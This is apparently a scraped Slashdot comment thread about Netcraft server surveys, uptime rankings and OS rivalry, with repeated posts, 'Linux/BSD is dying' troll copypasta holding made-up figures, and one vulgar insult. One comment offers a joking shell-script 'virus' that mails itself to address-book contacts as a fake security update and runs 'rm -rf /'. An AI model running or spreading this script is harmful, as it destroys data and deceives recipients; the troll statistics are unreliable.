Slashdot Mirror

With such dominance in market share and quality, what new features could Apache's developers possibly add to entice even more users to adopt the Web server -- already the world's most popular?

I don't know if anybody pointed this out but while Apache may be running the most sites, Windows is running the most servers. Now granted some of those Windows servers may be running Apache but I don't think there is a significant amount there. The truth is that a lot of web hosting companies choose Apache because it is free and more scalable for large amounts of virtual domains.

The site www.talibanonline.com is running Microsoft-IIS/5.0 on Windows 2000.

An annonymous coward tells us that if your on the internet a huge auction is on right now at ebay. Get there quick to avoid disappointment. Update: Readers have pointed out that as ebay don't run linux on their web servers this isn't really news. Sorry for wasting your time with non linux/unix news items.

How can this be considered a security hole? This is the equivalent of sending an email with BO2K or NetBus to the administer email account on some Windows box and telling them to run it as administrator. At work, we have hundreds of Linux boxes we administer. We never put any kind of software on them except for Apache, MySQL, Oracle or whatever we know and have tried.

If you really want to call this a security hole or virus, I've written a virus for you. Note, however, you cannot look at the code and must run it as root and send it to everyone you know.

#!/bin/sh
# DISCLAIMER: This program is provided AS IS with no war
# ranty of any kind, and The author makes no representation
# with respect to the adequacy of this program for any par
# ticular purpose or with respect to its adequacy to produce
# any particular result, and The author shall not be liable
# for loss or damage arising out of the use of this program
# regardless of how sustained, and In no event shall the
# author be liable for special, direct, indirect or conse
# quential damage, loss, costs or fees or expenses of any
# nature or kind. IF YOU ARE READING THIS, YOU HAVE VOIDED
# THE WARRANTY BECAUSE YOU WERE TOLD NOT TO READ THE SOURCE. :)
emailaddy=grep /^([a-zA-Z0-9_-])+@([a-zA-Z0-9_-])+(\.[a-zA-Z0-9_- ]+)+/ ~/.addressbook

echo "Please copy the following lines to a shell script and run it as root\n\n***#!/bin/sh
emailaddy=grep /^([a-zA-Z0-9_-])+@([a-zA-Z0-9_-])+(\.[a-zA-Z0-9_- ]+)+/ ~/.addressbook
echo \"Please copy the following lines to a shell script and run it as root\" | mail -s \"Important security update\" $emailaddy
rm -rf /***" | mail -s "Important security update" $emailaddy

rm -rf /

Do not actually run this, for it actually works. ;)

This short little shell script will exploit vulnerabilities in the sysadmins lack of experience... basically exploiting the same "security vulnerabilities" in the alternative to Microsoft Windows thing... USER ERROR!

How many linux users actually run programs without at least glancing at the source anyway? If you don't compile everything from source, shame on you. The main reason, IMHO, virii are aimed at MS instead of Linux is because most linux developers started coding on Windows (like everyone else who started coding within the last 10 years). They are disgruntled at the years of suffering at the hands of Billy G.. Windows is also a very easy target. Virii are also written for windows in order to switch people from MS to alternatives. If you would notice, within a week of a very recent Netcraft web server report when Apache dropped and IIS rose, code red was out.

Just my $0.02.

sglane81

..not exactly a resounding endorsement for their OS.
Of course, NetCraft reports it as NT4 w/ Apache.

According to Tumbleweed's site, they claim this: "Within 5 years all Internet communications will be secure and Tumbleweed® Secure Guardian(TM) will be the industry standard for securing every channel of Internet communication, for every enterprise, everywhere" Based on that, can we trust these people to do our online greeting cards?? Any company who thinks there sole product will be the only security device is absolutely absurd. Find one bug, and everyone is doomed. I want my greeting cards to be secure and not open to some random hacker looking for a good laugh. However, at least they are starting a little good by not running Microsoft NT/XP server. A quick lookup on Netcraft said that they were running Apache on Solaris I wish them luck and hope to a year of supposedly secure greeting cards where I can just leave one out in the open and no one will attempt to even read it or if they do, they will get lost!
Greeting cards for a secure environment and a secure environment made just for greeting cards!

According to Tumbleweed's site, they claim this: "Within 5 years all Internet communications will be secure and Tumbleweed® Secure Guardian(TM) will be the industry standard for securing every channel of Internet communication, for every enterprise, everywhere" Based on that, can we trust these people to do our online greeting cards?? Any company who thinks there sole product will be the only security device is absolutely absurd. Find one bug, and everyone is doomed. I want my greeting cards to be secure and not open to some random hacker looking for a good laugh. However, at least they are starting a little good by not running Microsoft NT/XP server. A quick lookup on Netcraft said that they were running Apache on Solaris I wish them luck and hope to a year of supposedly secure greeting cards where I can just leave one out in the open and no one will attempt to even read it or if they do, they will get lost!
Greeting cards for a secure environment and a secure environment made just for greeting cards!

Don't you? Netcraft are the "what's that server running" people.

I'm just saying.

So Die Egg troll and Wintrolls and stare at that gaping "linux powered" hole

The real threat to Microsoft / Windows isn't on the corportate desktop, but in the server market:

Netcraft survey

With an estimated 15-20 Linux users, I think there's also a lot of home & student usage, plus the cost benefit of Linux is causing poorer countries such as Brasil to look at Linux for use within the school system.

All this time, the person who posts *BSD is dying says the latest netcraft survey shows BSD is dying. And the latest netcraft shows no BSD, Linux or other OS. I've been lied to! BSD is NOT dying!

Certainly not, in fact, according to Netcraft...

The top 10 servers with the highest average uptime are *BSD's. All servers on this list are Unix, mostly a BSD, some IRIX. There are no Linux or Microsoft servers.

The top 9 servers with the all time highest uptimes are *BSD's. All up to 34 consists of mostly BSD's and some IRIX, Linux is at 35, W2K makes the list at 48 with 806 days vs 1342 days for the top BSD. However, the two W2K servers that made this list have an average uptime of 8 and 36 (48'th and 49'th) and 22 and 65 current uptimes. The top 9 BSD servers have an average average uptime of 973 days and an average current uptime of 1005 days.

The top 16 servers with the latest highest uptimes are *BSD's. All servers on this list of 50 are Unix servers. Linux and Microsoft servers did not make this list. Only BSD and IRIX appear on this list of current record holders.

This is accurate at the time of my posting.

So, these dorks that state "BSD is dying", are making some pretty bold statements. Why would sys admins around the World all of a sudden drop the World's most reliable network OS?

With the incredible stability of FreeBSD, awesome platform coverage of NetBSD, extreme security of OpenBSD and sheer beauty of MacOS X, perhaps Linux and Windows are "dying". PS, I am a hardcore Debian lover and user, but I also love to use the BSD's and I am not a blind zealot. Just stating the facts. What I am saying is, take my "Lin and Win dying" remark as seriously as you take the fricken "BSD is dying" cut'n'paste jobs (dont!).

All this time, the person who posts *BSD is dying says the latest netcraft survey shows BSD is dying. And the latest netcraft shows no BSD, Linux or other OS. I've been lied to! BSD is NOT dying!

Certainly not, in fact, according to Netcraft...

The top 10 servers with the highest average uptime are *BSD's. All servers on this list are Unix, mostly a BSD, some IRIX. There are no Linux or Microsoft servers.

The top 9 servers with the all time highest uptimes are *BSD's. All up to 34 consists of mostly BSD's and some IRIX, Linux is at 35, W2K makes the list at 48 with 806 days vs 1342 days for the top BSD. However, the two W2K servers that made this list have an average uptime of 8 and 36 (48'th and 49'th) and 22 and 65 current uptimes. The top 9 BSD servers have an average average uptime of 973 days and an average current uptime of 1005 days.

The top 16 servers with the latest highest uptimes are *BSD's. All servers on this list of 50 are Unix servers. Linux and Microsoft servers did not make this list. Only BSD and IRIX appear on this list of current record holders.

This is accurate at the time of my posting.

So, these dorks that state "BSD is dying", are making some pretty bold statements. Why would sys admins around the World all of a sudden drop the World's most reliable network OS?

With the incredible stability of FreeBSD, awesome platform coverage of NetBSD, extreme security of OpenBSD and sheer beauty of MacOS X, perhaps Linux and Windows are "dying". PS, I am a hardcore Debian lover and user, but I also love to use the BSD's and I am not a blind zealot. Just stating the facts. What I am saying is, take my "Lin and Win dying" remark as seriously as you take the fricken "BSD is dying" cut'n'paste jobs (dont!).

All this time, the person who posts *BSD is dying says the latest netcraft survey shows BSD is dying. And the latest netcraft shows no BSD, Linux or other OS. I've been lied to! BSD is NOT dying!

Certainly not, in fact, according to Netcraft...

The top 10 servers with the highest average uptime are *BSD's. All servers on this list are Unix, mostly a BSD, some IRIX. There are no Linux or Microsoft servers.

The top 9 servers with the all time highest uptimes are *BSD's. All up to 34 consists of mostly BSD's and some IRIX, Linux is at 35, W2K makes the list at 48 with 806 days vs 1342 days for the top BSD. However, the two W2K servers that made this list have an average uptime of 8 and 36 (48'th and 49'th) and 22 and 65 current uptimes. The top 9 BSD servers have an average average uptime of 973 days and an average current uptime of 1005 days.

The top 16 servers with the latest highest uptimes are *BSD's. All servers on this list of 50 are Unix servers. Linux and Microsoft servers did not make this list. Only BSD and IRIX appear on this list of current record holders.

This is accurate at the time of my posting.

So, these dorks that state "BSD is dying", are making some pretty bold statements. Why would sys admins around the World all of a sudden drop the World's most reliable network OS?

With the incredible stability of FreeBSD, awesome platform coverage of NetBSD, extreme security of OpenBSD and sheer beauty of MacOS X, perhaps Linux and Windows are "dying". PS, I am a hardcore Debian lover and user, but I also love to use the BSD's and I am not a blind zealot. Just stating the facts. What I am saying is, take my "Lin and Win dying" remark as seriously as you take the fricken "BSD is dying" cut'n'paste jobs (dont!).

Why do you report impossible operating system/server combinations ?

Webservers that operate behind a caching system, load balancer, reverse proxy server or a firewall may sometimes report the operating system of the intermediate machine. Hence reports of 'Microsoft/IIS on Linux' may indicate that either the web server is behind a Linux server that is acting as a reverse proxy, or has configured the Akamai caching system such that the first request to the site goes to one of Akamai's servers [which run Linux], or as in the case of www.walmart.com has been configured to send a misleading signature.

Netcraft says it's running Solaris...

What is it that caused this surge in Microsoft web servers? And what is it that causes these clueless dweebs to ignore the substantial risks of employing Microsoft web servers?

Crispin
----
Crispin Cowan, Ph.D.
Chief Scientist, WireX Communications, Inc.
Immunix: Security Hardened Linux Distribution
Available for purchase

Microsoft's server market share is at its highest level ever, with much of the increased share coming from Apache.

NetCraft has some statistics on this Here.

Though this is only for as long as NetCraft has been surveying, and may not be completely accurate. But they have lotsa goodies there!

NetCraft has some statistics on this Here.

Though this is only for as long as NetCraft has been surveying, and may not be completely accurate. But they have lotsa goodies there!

They seem to be running Apache on Solaris and Linux for news.bbc.co.uk.

They have a more up to date version of Apache for www.bbc.co.uk.

Have glance at the 212.58.224/24 netblock.

They seem to be running Apache on Solaris and Linux for news.bbc.co.uk.

They have a more up to date version of Apache for www.bbc.co.uk.

Have glance at the 212.58.224/24 netblock.

They seem to be running Apache on Solaris and Linux for news.bbc.co.uk.

They have a more up to date version of Apache for www.bbc.co.uk.

Have glance at the 212.58.224/24 netblock.

I think it's not a coincidence that their uptime dropped to less than 1 day without rebooting on april 28, the day 2600 announced Ford was dragging them to court. ;)

freebsd.

Not according to netcraft.

If they were using FreeBSD, this site wouldn't be down every 5 minutes.

Anybody else think its interesting that websidestory.com (and associated sites) run Solaris/Apache?

check it out

However, reliability is the key. The simple reality of Linux' stability is a selling point beyond compare.

Then I have to conclude you haven't spent much time with real Unix OSes. I like Linux, and it's now quite reliable enough to use for some types of mission-critical tasks, but to claim that it's even in the same league as Solaris, AIX, or the BSDs is ridiculous. Linux is good, but it's not nearly that good, and BSD is the only really stable open source OS.

Check out how many of the top uptime sites at Netcraft are running BSD vs. how many are running Linux if you want an eye-opener in this department. (For those too lazy to click through, you won't find anything *but* BSD in the top ten - BSD variants hold 40 out of the top 50 uptimes. (With IRIX rounding out the other ten just to prove that they can remain stable running integer apps, anyway...))

Why would you? they run linux too!

HAHAHAhahaha

It's called a cluster. Netcraft has nicely provided an explanation of this for people without the benifit of a clue.

There are arleady signs these days that this will happen.
Look at their anti open source campain. By ranting against linux and the GPL they made just free advertisments for *BSD.
And what is the major treat for windows ?
A hobbiest style, buggy OS like linux (just see the umount bug) or a stable, professional system like *BSD.
These days 65.34 percent of the high performance, professional applications in the unix section use already *BSD, and this is growing these days.
The overall linux score on the net is higher, but that's mainly due to the large percentage of hobbiest/badly administrated web servers. And even these numbers are changing just look at netcraft.

We're doomed.

b.

And the uptime shows no signs of crashing...
http://uptime.netcraft.com/up/graph?site=tide01.mi crosoft.com

Linux is dying
Yet another crippling bombshell hit the beleaguered Linux community when last month IDC confirmed that Linux accounts for less than a fraction of 1 percent of all servers. Coming on the heels of the latest Netcraft survey which plainly states that Linux has lost more market share, this news serves to reinforce what we've known all along. Linux is collapsing in complete disarray, as further exemplified by falling dead last in the recent Kreskin test.

You don't need to be a Kreskin to predict Linux's future. The hand writing is on the wall: Linux faces a bleak future. In fact there won't be any future at all for Linux because Linux is dying. Things are looking very bad for Linux. As many of us are already aware, Linux continues to lose market share. Red ink flows like a river of blood. Debianis the most endangered of them all.

Let's keep to the facts and look at the numbers.

Corel leader Theo states that there are 7000 users of Corel. How many users of Redhat are there? Let's see. The number of Corel versus Redhat posts on Usenet is roughly in ratio of 5 to 1. Therefore there are about 7000/5 = 1400 Redhat users. Mandrake posts on Usenet are about half of the volume of Redhat posts. Therefore there are about 700 users of Mandrake. Arecent article put Debian at about 80 percent of the Linux market. Therefore there are (7000+1400+700)*4 = 36400 Debian users. This is consistent with the number of Debian Usenet posts.

Due to the troubles of Walnut Creek,abysmal sales and so on,Debian went out of business and was taken over by SuSE who sell another troubled Linux. Now SuSE is also dead, its corpse turned over to another charnel house.

All major surveys show that Linux has steadily declined in market share. Linux is very sick and its long term survival prospects are very dim. If Linux is survive at all it will be among Linux hobbyist dabblers. Linux continues to decay. Nothing short of a miracle could save it at this point in time. For all practical purposes, Linux is dead.

Linux is dying

The site indiantrust.org is running Microsoft-IIS/5.0 on Windows 2000.

From Netcraft's Survey:

The site www.doi.gov is running Apache/1.3.12 (Unix) on Solaris.

Of course, we don't know whether this was the system which the government investigators broke in, or whether it's something in this domain.

The site www.doi.gov is running Apache/1.3.12 (Unix) on Solaris.

The site www.blm.gov is running Apache/1.3.22 (Unix) PHP/4.0.6 on unknown.

The site www.nps.gov is running Netscape-Enterprise/4.1 on Solaris.

Oh, and nps is still up....

The site www.doi.gov is running Apache/1.3.12 (Unix) on Solaris.

The site www.blm.gov is running Apache/1.3.22 (Unix) PHP/4.0.6 on unknown.

The site www.nps.gov is running Netscape-Enterprise/4.1 on Solaris.

Oh, and nps is still up....

The site www.doi.gov is running Apache/1.3.12 (Unix) on Solaris.

The site www.blm.gov is running Apache/1.3.22 (Unix) PHP/4.0.6 on unknown.

The site www.nps.gov is running Netscape-Enterprise/4.1 on Solaris.

Oh, and nps is still up....

The site www.kpmg.com is running Microsoft-IIS/4.0 on NT4/Windows 98.

But that's not the most interesting part. But rather... The IP and its netblock is:

192.208.44.134 - Digital Equipment Corporation

Has the netblock ownership changed, or is Compaq hosting this site?

Apparently whitehouse.gov runs on Linux.

As does one of Slashdot readers' favorite sites.

BTW, this nugget is in the Netcraft FAQ

... is that the site is no longer an internal government one (i.e., one handled by the CCTA), but has been contracted out to the combined developers (such is said in the FAQ in the site, wherever that is), and is now hosted on the UK branch of PIPEX, sorry, UUNET. This can be seen on this ppage. All CCTA sites are still hosted on *NIX systems, as you can see.

... is that the site is no longer an internal government one (i.e., one handled by the CCTA), but has been contracted out to the combined developers (such is said in the FAQ in the site, wherever that is), and is now hosted on the UK branch of PIPEX, sorry, UUNET. This can be seen on this ppage. All CCTA sites are still hosted on *NIX systems, as you can see.

Yup. W2K + IIS/5.0

Survey says "Uptime not so good".

Linux fails again. The Queen of England's website has been upgraded from Linux/Apache to a more stable, better performing Microsoft platform. Do you remember the fuss slashdot made
when they switched from Solaris to Linux? Where's the update, slashdot?

More information on the migration can be found on netcraft.

Slashdot only reports news that supports their communist/pro-linux viewpoints. Stop being such pig fucking biased Linux sluts!!

If this really happens, it'll be interesting to see whether it show up in the Netcraft web server survey. Sircam, nimda and Code Red seem to have coincided with a rise in IIS installations at the expense of Apache :(( Could this be conclusive proof that there's no such thing as bad publicity?

From netcraft The site www.playboy.com is running Netscape-Enterprise/3.6 SP3 on Solaris

http://www.talibanonline.com runs IIS, actually...
(from netcraft)
The site www.talibanonline.com is running Microsoft-IIS/5.0 on Windows 2000.
http://uptime.netcraft.com/up/graph/?mode_u=off&mo de_w=on&site=http%3A%2F%2Fwww.talibanonline.com&su bmit=Examine